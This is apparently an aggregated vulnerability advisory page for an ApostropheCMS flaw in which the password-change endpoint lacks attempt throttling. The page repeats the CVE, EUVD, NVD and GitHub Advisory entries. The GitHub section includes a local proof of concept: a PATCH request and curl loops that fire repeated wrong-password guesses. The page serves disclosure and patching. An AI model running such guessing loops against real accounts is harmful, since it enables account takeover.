ApostropheCMS: No Attempt Throttling on Authenticated Password-Change Endpoint Enables Unlimited Current-Password Guessing

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, the self-service password-change endpoint verifies the current password but does not use the login module’s failed-attempt counter, throttle, delay, or lockout mechanism. An attacker with a valid authenticated session can submit repeated guesses for the current password without receiving a lockout or throttle response. This issue is fixed in version 4.33.0.

Source published

20 Oct 2026 17:46:09 UTC

Source modified

21 Oct 2026 15:53:11 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 5.9 CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N

ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, the self-service password-change endpoint verifies the current password but does not use the login module’s failed-attempt counter, throttle, delay, or lockout mechanism. An attacker with a valid authenticated session can submit repeated guesses for the current password without receiving a lockout or throttle response. This issue is fixed in version 4.33.0.

Source published

Oct 20, 2026, 5:46:09 PM (timezone not stated)

Source modified

Oct 21, 2026, 3:53:11 PM (timezone not stated)

Observed here

7 Nov 2026 04:34:47 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 5.9 CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N

ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, the self-service password-change endpoint verifies the current password but does not use the login module’s failed-attempt counter, throttle, delay, or lockout mechanism. An attacker with a valid authenticated session can submit repeated guesses for the current password without receiving a lockout or throttle response. This issue is fixed in version 4.33.0.

Source published

20 Oct 2026 18:17:21 UTC

Source modified

21 Oct 2026 16:17:25 UTC

Observed here

25 Oct 2026 05:17:18 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 5.9 CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N

**Summary** The self-service password-change endpoint verifies the current password but does not use the login module’s failed-attempt counter, throttle, delay, or lockout mechanism. An attacker with a valid authenticated session can submit repeated guesses for the current password without receiving a lockout or throttle response. **Exact source path** packages/apostrophe/modules/@apostrophecms/settings/index.js:621-664 **The password-change route is:** PATCH /api/v1/@apostrophecms/settings/password **The route calls the password verifier directly through:** await self.handleProtectedSubform(req, subform, req.body ); **The password verification path is:** packages/apostrophe/modules/@apostrophecms/settings/index.js:514-542 **async handlePasswordProtectedSubform(req, subform, payload) { try { await self.apos.user.verifyPassword(req.user, payload.passwordCurrent); } catch (e) { throw self.apos.error( 'forbidden', 'apostrophe:passwordCurrentError', { path: 'passwordCurrent' } ); } return subform; }** **The verifier itself does not increment the login-attempt cache or enforce a delay:** packages/apostrophe/modules/@apostrophecms/user/index.js:412-487 **By contrast, the login route explicitly calls checkLoginAttempts and addLoginAttempt in:** packages/apostrophe/modules/@apostrophecms/login/index.js:831-929 **Local PoC** The test used a disposable authenticated guest session against: Request: ``` PATCH /api/v1/@apostrophecms/settings/password HTTP/1.1 Host: 127.0.0.1:3000 Cookie: <redacted-authenticated-session> Content-Type: application/json { "password": "new-temporary-password", "passwordRepeat": "new-temporary-password", "passwordCurrent": "definitely-wrong-current-password" } ``` **Equivalent command:** ``` for i in 1 2 3 4 5; do time curl -i -sS \ -b /path/to/temporary-session-cookie-jar.txt \ -X PATCH \ 'http://127.0.0.1:3000/api/v1/@apostrophecms/settings/password' \ -H 'Content-Type: application/json' \ --data-raw '{ "password": "new-temporary-password", "passwordRepeat": "new-temporary-password", "passwordCurrent": "definitely-wrong-current-password" }' done ``` **Observed response** All five attempts returned the same immediate validation response: HTTP/1.1 403 Forbidden Content-Type: application/json; charset=utf-8 { "name": "forbidden", "data": { "path": "passwordCurrent" }, "message": "apostrophe:passwordCurrentError" } Observed timings were approximately: Attempt 1: 231 ms Attempt 2: 232 ms Attempt 3: 226 ms Attempt 4: 229 ms Attempt 5: 226 ms No attempt returned a throttle response, lockout message, Retry-After header, or rate-limit status. seq 1 20 | xargs -P 20 -I{} sh -c \ "curl --max-time 15 -sS \ -o /tmp/password-attempt-{}.body \ -w '%{http_code}\\n' \ -b /path/to/temporary-session-cookie-jar.txt \ -X PATCH \ 'http://127.0.0.1:3000/api/v1/@apostrophecms/settings/password' \ -H 'Content-Type: application/json' \ --data-raw '{\"password\":\"new-temporary-password-{}\",\"passwordRepeat\":\"new-temporary-password-{}\",\"passwordCurrent\":\"wrong-current-{}\"}'" Result: 20 requests -> HTTP 403 Forbidden 0 requests -> HTTP 429 Too Many Requests 0 requests -> lockout response The valid password continued to authenticate afterward: POST /api/v1/@apostrophecms/login/login HTTP/1.1 HTTP/1.1 200 OK Impact An attacker who has obtained or hijacked a valid authenticated session can repeatedly guess the current password through the password-change endpoint. Each guess receives a normal response, and the route does not apply the login throttle or lockout mechanism. If the current password is weak or reused, this can allow the attacker to pass the current-password check and replace the account password. The attacker would then be able to log in after the password change. The attack requires a valid authenticated session and does not work anonymously. Severity Medium, subject to the application’s session-threat model. The prerequisite of an already authenticated session limits exploitability, but successful guessing leads directly to account takeover through password replacement.

Source published

20 Oct 2026 18:17:50 UTC

Source modified

20 Oct 2026 18:30:04 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N

Publisher rating · MODERATE